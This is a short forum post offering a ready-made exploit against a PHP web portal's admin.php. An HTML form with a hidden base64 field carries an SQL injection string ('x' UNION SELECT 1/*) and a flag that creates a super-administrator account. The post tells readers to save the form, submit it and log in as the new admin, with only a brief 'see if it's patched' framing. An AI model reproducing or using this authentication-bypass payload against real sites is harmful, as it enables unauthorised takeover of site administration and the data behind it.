Was is a php forum?because there are loads of bugs in PHP which could let anyone take the admin rights.!
I'll post some bugs here,try to use them in your site and see that they are patched

check out for more bugs at http://www.securityfocus.com/bid/12249
<form name="exploit" method="POST" action="http://www.xyz.com/online/admin.php">
<p>USERNAME:
<input type="text" name="add_aid">
<br>
NOME:
<input type="text" name="add_name">
<br>
PASSWORD:
<input type="text" name="add_pwd">
<br>
E-MAIL:
<input type="text" name="add_email">
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="AddAuthor">
</p>
<p>
<input type="submit" name="Submit" value="Create Admin">
<br>
</p>
</form>

Just save the file as *.html* and open it in your favourite browser.Just fill up the form create the admin and log on the to the account and your in.
Good luck